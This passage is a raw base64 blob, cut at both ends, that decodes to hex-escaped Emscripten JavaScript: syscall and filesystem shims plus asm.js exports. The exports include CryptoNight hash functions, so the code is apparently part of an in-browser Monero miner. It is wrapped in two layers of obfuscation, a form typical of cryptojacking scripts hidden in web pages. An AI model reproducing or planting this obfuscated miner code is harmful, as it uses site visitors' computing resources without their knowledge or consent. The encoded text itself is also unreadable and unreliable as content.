hdC5zaXplO0hFQVAzMltidWYrNDA+PjJdPTQwOTY7SEVBUDMyW2J1Zis0ND4+Ml09c3RhdC5ibG9ja3M7SEVBUDMyW2J1Zis0OD4+Ml09c3RhdC5hdGltZS5nZXRUaW1lKCkvMWUzfDA7SEVBUDMyW2J1Zis1Mj4+Ml09MDtIRUFQMzJbYnVmKzU2Pj4yXT1zdGF0Lm10aW1lLmdldFRpbWUoKS8xZTN8MDtIRUFQMzJbYnVmKzYwPj4yXT0wO0hFQVAzMltidWYrNjQ+PjJdPXN0YXQuY3RpbWUuZ2V0VGltZSgpLzFlM3wwO0hFQVAzMltidWYrNjg+PjJdPTA7SEVBUDMyW2J1Zis3Mj4+Ml09c3RhdC5pbm87cmV0dXJuXHgyMDB9KSxkb01zeW5jOihmdW5jdGlvbihhZGRyLHN0cmVhbSxsZW4sZmxhZ3Mpe3Zhclx4MjBidWZmZXI9bmV3XHgyMFVpbnQ4QXJyYXkoSEVBUFU4LnN1YmFycmF5KGFkZHIsYWRkcitsZW4pKTtGUy5tc3luYyhzdHJlYW0sYnVmZmVyLDAsbGVuLGZsYWdzKX0pLGRvTWtkaXI6KGZ1bmN0aW9uKHBhdGgsbW9kZSl7cGF0aD1QQVRILm5vcm1hbGl6ZShwYXRoKTtpZihwYXRoW3BhdGgubGVuZ3RoLTFdPT09XHgyMi9ceDIyKXBhdGg9cGF0aC5zdWJzdHIoMCxwYXRoLmxlbmd0aC0xKTtGUy5ta2RpcihwYXRoLG1vZGUsMCk7cmV0dXJuXHgyMDB9KSxkb01rbm9kOihmdW5jdGlvbihwYXRoLG1vZGUsZGV2KXtzd2l0Y2gobW9kZSY2MTQ0MCl7Y2FzZVx4MjAzMjc2ODpjYXNlXHgyMDgxOTI6Y2FzZVx4MjAyNDU3NjpjYXNlXHgyMDQwOTY6Y2FzZVx4MjA0OTE1MjpicmVhaztkZWZhdWx0OnJldHVybi1FUlJOT19DT0RFUy5FSU5WQUx9RlMubWtub2QocGF0aCxtb2RlLGRldik7cmV0dXJuXHgyMDB9KSxkb1JlYWRsaW5rOihmdW5jdGlvbihwYXRoLGJ1ZixidWZzaXplKXtpZihidWZzaXplPD0wKXJldHVybi1FUlJOT19DT0RFUy5FSU5WQUw7dmFyXHgyMHJldD1GUy5yZWFkbGluayhwYXRoKTt2YXJceDIwbGVuPU1hdGgubWluKGJ1ZnNpemUsbGVuZ3RoQnl0ZXNVVEY4KHJldCkpO3Zhclx4MjBlbmRDaGFyPUhFQVA4W2J1ZitsZW5dO3N0cmluZ1RvVVRGOChyZXQsYnVmLGJ1ZnNpemUrMSk7SEVBUDhbYnVmK2xlbl09ZW5kQ2hhcjtyZXR1cm5ceDIwbGVufSksZG9BY2Nlc3M6KGZ1bmN0aW9uKHBhdGgsYW1vZGUpe2lmKGFtb2RlJn43KXtyZXR1cm4tRVJSTk9fQ09ERVMuRUlOVkFMfXZhclx4MjBub2RlO3Zhclx4MjBsb29rdXA9RlMubG9va3VwUGF0aChwYXRoLHtmb2xsb3c6dHJ1ZX0pO25vZGU9bG9va3VwLm5vZGU7dmFyXHgyMHBlcm1zPVx4MjJceDIyO2lmKGFtb2RlJjQpcGVybXMrPVx4MjJyXHgyMjtpZihhbW9kZSYyKXBlcm1zKz1ceDIyd1x4MjI7aWYoYW1vZGUmMSlwZXJtcys9XHgyMnhceDIyO2lmKHBlcm1zJiZGUy5ub2RlUGVybWlzc2lvbnMobm9kZSxwZXJtcykpe3JldHVybi1FUlJOT19DT0RFUy5FQUNDRVN9cmV0dXJuXHgyMDB9KSxkb0R1cDooZnVuY3Rpb24ocGF0aCxmbGFncyxzdWdnZXN0RkQpe3Zhclx4MjBzdWdnZXN0PUZTLmdldFN0cmVhbShzdWdnZXN0RkQpO2lmKHN1Z2dlc3QpRlMuY2xvc2Uoc3VnZ2VzdCk7cmV0dXJuXHgyMEZTLm9wZW4ocGF0aCxmbGFncywwLHN1Z2dlc3RGRCxzdWdnZXN0RkQpLmZkfSksZG9SZWFkdjooZnVuY3Rpb24oc3RyZWFtLGlvdixpb3ZjbnQsb2Zmc2V0KXt2YXJceDIwcmV0PTA7Zm9yKHZhclx4MjBpPTA7aTxpb3ZjbnQ7aSsrKXt2YXJceDIwcHRyPUhFQVAzMltpb3YraSo4Pj4yXTt2YXJceDIwbGVuPUhFQVAzMltpb3YrKGkqOCs0KT4+Ml07dmFyXHgyMGN1cnI9RlMucmVhZChzdHJlYW0sSEVBUDgscHRyLGxlbixvZmZzZXQpO2lmKGN1cnI8MClyZXR1cm4tMTtyZXQrPWN1cnI7aWYoY3VycjxsZW4pYnJlYWt9cmV0dXJuXHgyMHJldH0pLGRvV3JpdGV2OihmdW5jdGlvbihzdHJlYW0saW92LGlvdmNudCxvZmZzZXQpe3Zhclx4MjByZXQ9MDtmb3IodmFyXHgyMGk9MDtpPGlvdmNudDtpKyspe3Zhclx4MjBwdHI9SEVBUDMyW2lvditpKjg+PjJdO3Zhclx4MjBsZW49SEVBUDMyW2lvdisoaSo4KzQpPj4yXTt2YXJceDIwY3Vycj1GUy53cml0ZShzdHJlYW0sSEVBUDgscHRyLGxlbixvZmZzZXQpO2lmKGN1cnI8MClyZXR1cm4tMTtyZXQrPWN1cnJ9cmV0dXJuXHgyMHJldH0pLHZhcmFyZ3M6MCxnZXQ6KGZ1bmN0aW9uKHZhcmFyZ3Mpe1NZU0NBTExTLnZhcmFyZ3MrPTQ7dmFyXHgyMHJldD1IRUFQMzJbU1lTQ0FMTFMudmFyYXJncy00Pj4yXTtyZXR1cm5ceDIwcmV0fSksZ2V0U3RyOihmdW5jdGlvbigpe3Zhclx4MjByZXQ9UG9pbnRlcl9zdHJpbmdpZnkoU1lTQ0FMTFMuZ2V0KCkpO3JldHVyblx4MjByZXR9KSxnZXRTdHJlYW1Gcm9tRkQ6KGZ1bmN0aW9uKCl7dmFyXHgyMHN0cmVhbT1GUy5nZXRTdHJlYW0oU1lTQ0FMTFMuZ2V0KCkpO2lmKCFzdHJlYW0pdGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJBREYpO3JldHVyblx4MjBzdHJlYW19KSxnZXRTb2NrZXRGcm9tRkQ6KGZ1bmN0aW9uKCl7dmFyXHgyMHNvY2tldD1TT0NLRlMuZ2V0U29ja2V0KFNZU0NBTExTLmdldCgpKTtpZighc29ja2V0KXRocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVCQURGKTtyZXR1cm5ceDIwc29ja2V0fSksZ2V0U29ja2V0QWRkcmVzczooZnVuY3Rpb24oYWxsb3dOdWxsKXt2YXJceDIwYWRkcnA9U1lTQ0FMTFMuZ2V0KCksYWRkcmxlbj1TWVNDQUxMUy5nZXQoKTtpZihhbGxvd051bGwmJmFkZHJwPT09MClyZXR1cm5ceDIwbnVsbDt2YXJceDIwaW5mbz1fX3JlYWRfc29ja2FkZHIoYWRkcnAsYWRkcmxlbik7aWYoaW5mby5lcnJubyl0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihpbmZvLmVycm5vKTtpbmZvLmFkZHI9RE5TLmxvb2t1cF9hZGRyKGluZm8uYWRkcil8fGluZm8uYWRkcjtyZXR1cm5ceDIwaW5mb30pLGdldDY0OihmdW5jdGlvbigpe3Zhclx4MjBsb3c9U1lTQ0FMTFMuZ2V0KCksaGlnaD1TWVNDQUxMUy5nZXQoKTtpZihsb3c+PTApYXNzZXJ0KGhpZ2g9PT0wKTtlbHNlXHgyMGFzc2VydChoaWdoPT09LTEpO3JldHVyblx4MjBsb3d9KSxnZXRaZXJvOihmdW5jdGlvbigpe2Fzc2VydChTWVNDQUxMUy5nZXQoKT09PTApfSl9O2Z1bmN0aW9uXHgyMF9fX3N5c2NhbGwyMCh3aGljaCx2YXJhcmdzKXtTWVNDQUxMUy52YXJhcmdzPXZhcmFyZ3M7dHJ5e3JldHVyblx4MjBQUk9DSU5GTy5waWR9Y2F0Y2goZSl7aWYodHlwZW9mXHgyMEZTPT09XHgyMnVuZGVmaW5lZFx4MjJ8fCEoZVx4MjBpbnN0YW5jZW9mXHgyMEZTLkVycm5vRXJyb3IpKWFib3J0KGUpO3JldHVybi1lLmVycm5vfX12YXJceDIwX19fdG1fY3VycmVudD1TVEFUSUNUT1A7U1RBVElDVE9QKz00ODt2YXJceDIwX19fdG1fdGltZXpvbmU9YWxsb2NhdGUoaW50QXJyYXlGcm9tU3RyaW5nKFx4MjJHTVRceDIyKSxceDIyaThceDIyLEFMTE9DX1NUQVRJQyk7ZnVuY3Rpb25ceDIwX2dtdGltZV9yKHRpbWUsdG1QdHIpe3Zhclx4MjBkYXRlPW5ld1x4MjBEYXRlKEhFQVAzMlt0aW1lPj4yXSoxZTMpO0hFQVAzMlt0bVB0cj4+Ml09ZGF0ZS5nZXRVVENTZWNvbmRzKCk7SEVBUDMyW3RtUHRyKzQ+PjJdPWRhdGUuZ2V0VVRDTWludXRlcygpO0hFQVAzMlt0bVB0cis4Pj4yXT1kYXRlLmdldFVUQ0hvdXJzKCk7SEVBUDMyW3RtUHRyKzEyPj4yXT1kYXRlLmdldFVUQ0RhdGUoKTtIRUFQMzJbdG1QdHIrMTY+PjJdPWRhdGUuZ2V0VVRDTW9udGgoKTtIRUFQMzJbdG1QdHIrMjA+PjJdPWRhdGUuZ2V0VVRDRnVsbFllYXIoKS0xOTAwO0hFQVAzMlt0bVB0cisyND4+Ml09ZGF0ZS5nZXRVVENEYXkoKTtIRUFQMzJbdG1QdHIrMzY+PjJdPTA7SEVBUDMyW3RtUHRyKzMyPj4yXT0wO3Zhclx4MjBzdGFydD1EYXRlLlVUQyhkYXRlLmdldFVUQ0Z1bGxZZWFyKCksMCwxLDAsMCwwLDApO3Zhclx4MjB5ZGF5PShkYXRlLmdldFRpbWUoKS1zdGFydCkvKDFlMyo2MCo2MCoyNCl8MDtIRUFQMzJbdG1QdHIrMjg+PjJdPXlkYXk7SEVBUDMyW3RtUHRyKzQwPj4yXT1fX190bV90aW1lem9uZTtyZXR1cm5ceDIwdG1QdHJ9ZnVuY3Rpb25ceDIwX2dtdGltZSh0aW1lKXtyZXR1cm5ceDIwX2dtdGltZV9yKHRpbWUsX19fdG1fY3VycmVudCl9ZnVuY3Rpb25ceDIwX19fbG9jaygpe31mdW5jdGlvblx4MjBfX191bmxvY2soKXt9ZnVuY3Rpb25ceDIwX19fc3lzY2FsbDYod2hpY2gsdmFyYXJncyl7U1lTQ0FMTFMudmFyYXJncz12YXJhcmdzO3RyeXt2YXJceDIwc3RyZWFtPVNZU0NBTExTLmdldFN0cmVhbUZyb21GRCgpO0ZTLmNsb3NlKHN0cmVhbSk7cmV0dXJuXHgyMDB9Y2F0Y2goZSl7aWYodHlwZW9mXHgyMEZTPT09XHgyMnVuZGVmaW5lZFx4MjJ8fCEoZVx4MjBpbnN0YW5jZW9mXHgyMEZTLkVycm5vRXJyb3IpKWFib3J0KGUpO3JldHVybi1lLmVycm5vfX1mdW5jdGlvblx4MjBfZW1zY3JpcHRlbl9tZW1jcHlfYmlnKGRlc3Qsc3JjLG51bSl7SEVBUFU4LnNldChIRUFQVTguc3ViYXJyYXkoc3JjLHNyYytudW0pLGRlc3QpO3JldHVyblx4MjBkZXN0fWZ1bmN0aW9uXHgyMF9mdGltZShwKXt2YXJceDIwbWlsbGlzPURhdGUubm93KCk7SEVBUDMyW3A+PjJdPW1pbGxpcy8xZTN8MDtIRUFQMTZbcCs0Pj4xXT1taWxsaXMlMWUzO0hFQVAxNltwKzY+PjFdPTA7SEVBUDE2W3ArOD4+MV09MDtyZXR1cm5ceDIwMH1mdW5jdGlvblx4MjBfX19zeXNjYWxsMTQwKHdoaWNoLHZhcmFyZ3Mpe1NZU0NBTExTLnZhcmFyZ3M9dmFyYXJnczt0cnl7dmFyXHgyMHN0cmVhbT1TWVNDQUxMUy5nZXRTdHJlYW1Gcm9tRkQoKSxvZmZzZXRfaGlnaD1TWVNDQUxMUy5nZXQoKSxvZmZzZXRfbG93PVNZU0NBTExTLmdldCgpLHJlc3VsdD1TWVNDQUxMUy5nZXQoKSx3aGVuY2U9U1lTQ0FMTFMuZ2V0KCk7dmFyXHgyMG9mZnNldD1vZmZzZXRfbG93O0ZTLmxsc2VlayhzdHJlYW0sb2Zmc2V0LHdoZW5jZSk7SEVBUDMyW3Jlc3VsdD4+Ml09c3RyZWFtLnBvc2l0aW9uO2lmKHN0cmVhbS5nZXRkZW50cyYmb2Zmc2V0PT09MCYmd2hlbmNlPT09MClzdHJlYW0uZ2V0ZGVudHM9bnVsbDtyZXR1cm5ceDIwMH1jYXRjaChlKXtpZih0eXBlb2ZceDIwRlM9PT1ceDIydW5kZWZpbmVkXHgyMnx8IShlXHgyMGluc3RhbmNlb2ZceDIwRlMuRXJybm9FcnJvcikpYWJvcnQoZSk7cmV0dXJuLWUuZXJybm99fWZ1bmN0aW9uXHgyMF9fX3N5c2NhbGwxNDYod2hpY2gsdmFyYXJncyl7U1lTQ0FMTFMudmFyYXJncz12YXJhcmdzO3RyeXt2YXJceDIwc3RyZWFtPVNZU0NBTExTLmdldFN0cmVhbUZyb21GRCgpLGlvdj1TWVNDQUxMUy5nZXQoKSxpb3ZjbnQ9U1lTQ0FMTFMuZ2V0KCk7cmV0dXJuXHgyMFNZU0NBTExTLmRvV3JpdGV2KHN0cmVhbSxpb3YsaW92Y250KX1jYXRjaChlKXtpZih0eXBlb2ZceDIwRlM9PT1ceDIydW5kZWZpbmVkXHgyMnx8IShlXHgyMGluc3RhbmNlb2ZceDIwRlMuRXJybm9FcnJvcikpYWJvcnQoZSk7cmV0dXJuLWUuZXJybm99fWZ1bmN0aW9uXHgyMF9fX3N5c2NhbGw1NCh3aGljaCx2YXJhcmdzKXtTWVNDQUxMUy52YXJhcmdzPXZhcmFyZ3M7dHJ5e3Zhclx4MjBzdHJlYW09U1lTQ0FMTFMuZ2V0U3RyZWFtRnJvbUZEKCksb3A9U1lTQ0FMTFMuZ2V0KCk7c3dpdGNoKG9wKXtjYXNlXHgyMDIxNTA1OntpZighc3RyZWFtLnR0eSlyZXR1cm4tRVJSTk9fQ09ERVMuRU5PVFRZO3JldHVyblx4MjAwfTtjYXNlXHgyMDIxNTA2OntpZighc3RyZWFtLnR0eSlyZXR1cm4tRVJSTk9fQ09ERVMuRU5PVFRZO3JldHVyblx4MjAwfTtjYXNlXHgyMDIxNTE5OntpZighc3RyZWFtLnR0eSlyZXR1cm4tRVJSTk9fQ09ERVMuRU5PVFRZO3Zhclx4MjBhcmdwPVNZU0NBTExTLmdldCgpO0hFQVAzMlthcmdwPj4yXT0wO3JldHVyblx4MjAwfTtjYXNlXHgyMDIxNTIwOntpZighc3RyZWFtLnR0eSlyZXR1cm4tRVJSTk9fQ09ERVMuRU5PVFRZO3JldHVybi1FUlJOT19DT0RFUy5FSU5WQUx9O2Nhc2VceDIwMjE1MzE6e3Zhclx4MjBhcmdwPVNZU0NBTExTLmdldCgpO3JldHVyblx4MjBGUy5pb2N0bChzdHJlYW0sb3AsYXJncCl9O2Nhc2VceDIwMjE1MjM6e2lmKCFzdHJlYW0udHR5KXJldHVybi1FUlJOT19DT0RFUy5FTk9UVFk7cmV0dXJuXHgyMDB9O2RlZmF1bHQ6YWJvcnQoXHgyMmJhZFx4MjBpb2N0bFx4MjBzeXNjYWxsXHgyMFx4MjIrb3ApfX1jYXRjaChlKXtpZih0eXBlb2ZceDIwRlM9PT1ceDIydW5kZWZpbmVkXHgyMnx8IShlXHgyMGluc3RhbmNlb2ZceDIwRlMuRXJybm9FcnJvcikpYWJvcnQoZSk7cmV0dXJuLWUuZXJybm99fUZTLnN0YXRpY0luaXQoKTtfX0FUSU5JVF9fLnVuc2hpZnQoKGZ1bmN0aW9uKCl7aWYoIU1vZHVsZVtceDIybm9GU0luaXRceDIyXSYmIUZTLmluaXQuaW5pdGlhbGl6ZWQpRlMuaW5pdCgpfSkpO19fQVRNQUlOX18ucHVzaCgoZnVuY3Rpb24oKXtGUy5pZ25vcmVQZXJtaXNzaW9ucz1mYWxzZX0pKTtfX0FURVhJVF9fLnB1c2goKGZ1bmN0aW9uKCl7RlMucXVpdCgpfSkpO01vZHVsZVtceDIyRlNfY3JlYXRlRm9sZGVyXHgyMl09RlMuY3JlYXRlRm9sZGVyO01vZHVsZVtceDIyRlNfY3JlYXRlUGF0aFx4MjJdPUZTLmNyZWF0ZVBhdGg7TW9kdWxlW1x4MjJGU19jcmVhdGVEYXRhRmlsZVx4MjJdPUZTLmNyZWF0ZURhdGFGaWxlO01vZHVsZVtceDIyRlNfY3JlYXRlUHJlbG9hZGVkRmlsZVx4MjJdPUZTLmNyZWF0ZVByZWxvYWRlZEZpbGU7TW9kdWxlW1x4MjJGU19jcmVhdGVMYXp5RmlsZVx4MjJdPUZTLmNyZWF0ZUxhenlGaWxlO01vZHVsZVtceDIyRlNfY3JlYXRlTGlua1x4MjJdPUZTLmNyZWF0ZUxpbms7TW9kdWxlW1x4MjJGU19jcmVhdGVEZXZpY2VceDIyXT1GUy5jcmVhdGVEZXZpY2U7TW9kdWxlW1x4MjJGU191bmxpbmtceDIyXT1GUy51bmxpbms7X19BVElOSVRfXy51bnNoaWZ0KChmdW5jdGlvbigpe1RUWS5pbml0KCl9KSk7X19BVEVYSVRfXy5wdXNoKChmdW5jdGlvbigpe1RUWS5zaHV0ZG93bigpfSkpO2lmKEVOVklST05NRU5UX0lTX05PREUpe3Zhclx4MjBmcz1yZXF1aXJlKFx4MjJmc1x4MjIpO3Zhclx4MjBOT0RFSlNfUEFUSD1yZXF1aXJlKFx4MjJwYXRoXHgyMik7Tk9ERUZTLnN0YXRpY0luaXQoKX1EWU5BTUlDVE9QX1BUUj1hbGxvY2F0ZSgxLFx4MjJpMzJceDIyLEFMTE9DX1NUQVRJQyk7U1RBQ0tfQkFTRT1TVEFDS1RPUD1SdW50aW1lLmFsaWduTWVtb3J5KFNUQVRJQ1RPUCk7U1RBQ0tfTUFYPVNUQUNLX0JBU0UrVE9UQUxfU1RBQ0s7RFlOQU1JQ19CQVNFPVJ1bnRpbWUuYWxpZ25NZW1vcnkoU1RBQ0tfTUFYKTtIRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdPURZTkFNSUNfQkFTRTtzdGF0aWNTZWFsZWQ9dHJ1ZTtNb2R1bGVbXHgyMndhc21UYWJsZVNpemVceDIyXT0xNDtNb2R1bGVbXHgyMndhc21NYXhUYWJsZVNpemVceDIyXT0xNDtmdW5jdGlvblx4MjBpbnZva2VfaWkoaW5kZXgsYTEpe3RyeXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX2lpXHgyMl0oaW5kZXgsYTEpfWNhdGNoKGUpe2lmKHR5cGVvZlx4MjBlIT09XHgyMm51bWJlclx4MjImJmUhPT1ceDIybG9uZ2ptcFx4MjIpdGhyb3dceDIwZTtNb2R1bGVbXHgyMnNldFRocmV3XHgyMl0oMSwwKX19ZnVuY3Rpb25ceDIwaW52b2tlX2lpaWkoaW5kZXgsYTEsYTIsYTMpe3RyeXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX2lpaWlceDIyXShpbmRleCxhMSxhMixhMyl9Y2F0Y2goZSl7aWYodHlwZW9mXHgyMGUhPT1ceDIybnVtYmVyXHgyMiYmZSE9PVx4MjJsb25nam1wXHgyMil0aHJvd1x4MjBlO01vZHVsZVtceDIyc2V0VGhyZXdceDIyXSgxLDApfX1mdW5jdGlvblx4MjBpbnZva2VfdmlpaShpbmRleCxhMSxhMixhMyl7dHJ5e01vZHVsZVtceDIyZHluQ2FsbF92aWlpXHgyMl0oaW5kZXgsYTEsYTIsYTMpfWNhdGNoKGUpe2lmKHR5cGVvZlx4MjBlIT09XHgyMm51bWJlclx4MjImJmUhPT1ceDIybG9uZ2ptcFx4MjIpdGhyb3dceDIwZTtNb2R1bGVbXHgyMnNldFRocmV3XHgyMl0oMSwwKX19TW9kdWxlLmFzbUdsb2JhbEFyZz17XHgyMk1hdGhceDIyOk1hdGgsXHgyMkludDhBcnJheVx4MjI6SW50OEFycmF5LFx4MjJJbnQxNkFycmF5XHgyMjpJbnQxNkFycmF5LFx4MjJJbnQzMkFycmF5XHgyMjpJbnQzMkFycmF5LFx4MjJVaW50OEFycmF5XHgyMjpVaW50OEFycmF5LFx4MjJVaW50MTZBcnJheVx4MjI6VWludDE2QXJyYXksXHgyMlVpbnQzMkFycmF5XHgyMjpVaW50MzJBcnJheSxceDIyRmxvYXQzMkFycmF5XHgyMjpGbG9hdDMyQXJyYXksXHgyMkZsb2F0NjRBcnJheVx4MjI6RmxvYXQ2NEFycmF5LFx4MjJOYU5ceDIyOk5hTixceDIySW5maW5pdHlceDIyOkluZmluaXR5fTtNb2R1bGUuYXNtTGlicmFyeUFyZz17XHgyMmFib3J0XHgyMjphYm9ydCxceDIyYXNzZXJ0XHgyMjphc3NlcnQsXHgyMmVubGFyZ2VNZW1vcnlceDIyOmVubGFyZ2VNZW1vcnksXHgyMmdldFRvdGFsTWVtb3J5XHgyMjpnZXRUb3RhbE1lbW9yeSxceDIyYWJvcnRPbkNhbm5vdEdyb3dNZW1vcnlceDIyOmFib3J0T25DYW5ub3RHcm93TWVtb3J5LFx4MjJpbnZva2VfaWlceDIyOmludm9rZV9paSxceDIyaW52b2tlX2lpaWlceDIyOmludm9rZV9paWlpLFx4MjJpbnZva2VfdmlpaVx4MjI6aW52b2tlX3ZpaWksXHgyMl9nbXRpbWVfclx4MjI6X2dtdGltZV9yLFx4MjJfZ210aW1lXHgyMjpfZ210aW1lLFx4MjJfX19sb2NrXHgyMjpfX19sb2NrLFx4MjJfX19zeXNjYWxsNlx4MjI6X19fc3lzY2FsbDYsXHgyMl9fX3NldEVyck5vXHgyMjpfX19zZXRFcnJObyxceDIyX19fdW5sb2NrXHgyMjpfX191bmxvY2ssXHgyMl9mdGltZVx4MjI6X2Z0aW1lLFx4MjJfZW1zY3JpcHRlbl9tZW1jcHlfYmlnXHgyMjpfZW1zY3JpcHRlbl9tZW1jcHlfYmlnLFx4MjJfX19zeXNjYWxsNTRceDIyOl9fX3N5c2NhbGw1NCxceDIyX19fc3lzY2FsbDE0MFx4MjI6X19fc3lzY2FsbDE0MCxceDIyX19fc3lzY2FsbDIwXHgyMjpfX19zeXNjYWxsMjAsXHgyMl9fX2Fzc2VydF9mYWlsXHgyMjpfX19hc3NlcnRfZmFpbCxceDIyX19fc3lzY2FsbDE0Nlx4MjI6X19fc3lzY2FsbDE0NixceDIyRFlOQU1JQ1RPUF9QVFJceDIyOkRZTkFNSUNUT1BfUFRSLFx4MjJ0ZW1wRG91YmxlUHRyXHgyMjp0ZW1wRG91YmxlUHRyLFx4MjJBQk9SVFx4MjI6QUJPUlQsXHgyMlNUQUNLVE9QXHgyMjpTVEFDS1RPUCxceDIyU1RBQ0tfTUFYXHgyMjpTVEFDS19NQVh9O3Zhclx4MjBhc209TW9kdWxlW1x4MjJhc21ceDIyXShNb2R1bGUuYXNtR2xvYmFsQXJnLE1vZHVsZS5hc21MaWJyYXJ5QXJnLGJ1ZmZlcik7TW9kdWxlW1x4MjJhc21ceDIyXT1hc207dmFyXHgyMF9jcnlwdG9uaWdodF9oYXNoPU1vZHVsZVtceDIyX2NyeXB0b25pZ2h0X2hhc2hceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX2NyeXB0b25pZ2h0X2hhc2hceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwZ2V0VGVtcFJldDA9TW9kdWxlW1x4MjJnZXRUZW1wUmV0MFx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJnZXRUZW1wUmV0MFx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBfZnJlZT1Nb2R1bGVbXHgyMl9mcmVlXHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1vZHVsZVtceDIyYXNtXHgyMl1bXHgyMl9mcmVlXHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMHJ1blBvc3RTZXRzPU1vZHVsZVtceDIycnVuUG9zdFNldHNceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIycnVuUG9zdFNldHNceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwc2V0VGVtcFJldDA9TW9kdWxlW1x4MjJzZXRUZW1wUmV0MFx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJzZXRUZW1wUmV0MFx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBlc3RhYmxpc2hTdGFja1NwYWNlPU1vZHVsZVtceDIyZXN0YWJsaXNoU3RhY2tTcGFjZVx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJlc3RhYmxpc2hTdGFja1NwYWNlXHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMF9tZW1tb3ZlPU1vZHVsZVtceDIyX21lbW1vdmVceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX21lbW1vdmVceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwc3RhY2tTYXZlPU1vZHVsZVtceDIyc3RhY2tTYXZlXHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1vZHVsZVtceDIyYXNtXHgyMl1bXHgyMnN0YWNrU2F2ZVx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBfbWVtc2V0PU1vZHVsZVtceDIyX21lbXNldFx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJfbWVtc2V0XHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMF9tYWxsb2M9TW9kdWxlW1x4MjJfbWFsbG9jXHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1vZHVsZVtceDIyYXNtXHgyMl1bXHgyMl9tYWxsb2NceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwX2NyeXB0b25pZ2h0X2NyZWF0ZT1Nb2R1bGVbXHgyMl9jcnlwdG9uaWdodF9jcmVhdGVceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX2NyeXB0b25pZ2h0X2NyZWF0ZVx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBfbWVtY3B5PU1vZHVsZVtceDIyX21lbWNweVx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJfbWVtY3B5XHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMF9lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliYz1Nb2R1bGVbXHgyMl9lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliY1x4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJfZW1zY3JpcHRlbl9nZXRfZ2xvYmFsX2xpYmNceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwc3RhY2tBbGxvYz1Nb2R1bGVbXHgyMnN0YWNrQWxsb2NceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyc3RhY2tBbGxvY1x4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBzZXRUaHJldz1Nb2R1bGVbXHgyMnNldFRocmV3XHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1vZHVsZVtceDIyYXNtXHgyMl1bXHgyMnNldFRocmV3XHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMF9zYnJrPU1vZHVsZVtceDIyX3NicmtceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX3NicmtceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwX2ZmbHVzaD1Nb2R1bGVbXHgyMl9mZmx1c2hceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX2ZmbHVzaFx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBzdGFja1Jlc3RvcmU9TW9kdWxlW1x4MjJzdGFja1Jlc3RvcmVceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyc3RhY2tSZXN0b3JlXHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMF9jcnlwdG9uaWdodF9kZXN0cm95PU1vZHVsZVtceDIyX2NyeXB0b25pZ2h0X2Rlc3Ryb3lceDIyXT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJhc21ceDIyXVtceDIyX2NyeXB0b25pZ2h0X2Rlc3Ryb3lceDIyXS5hcH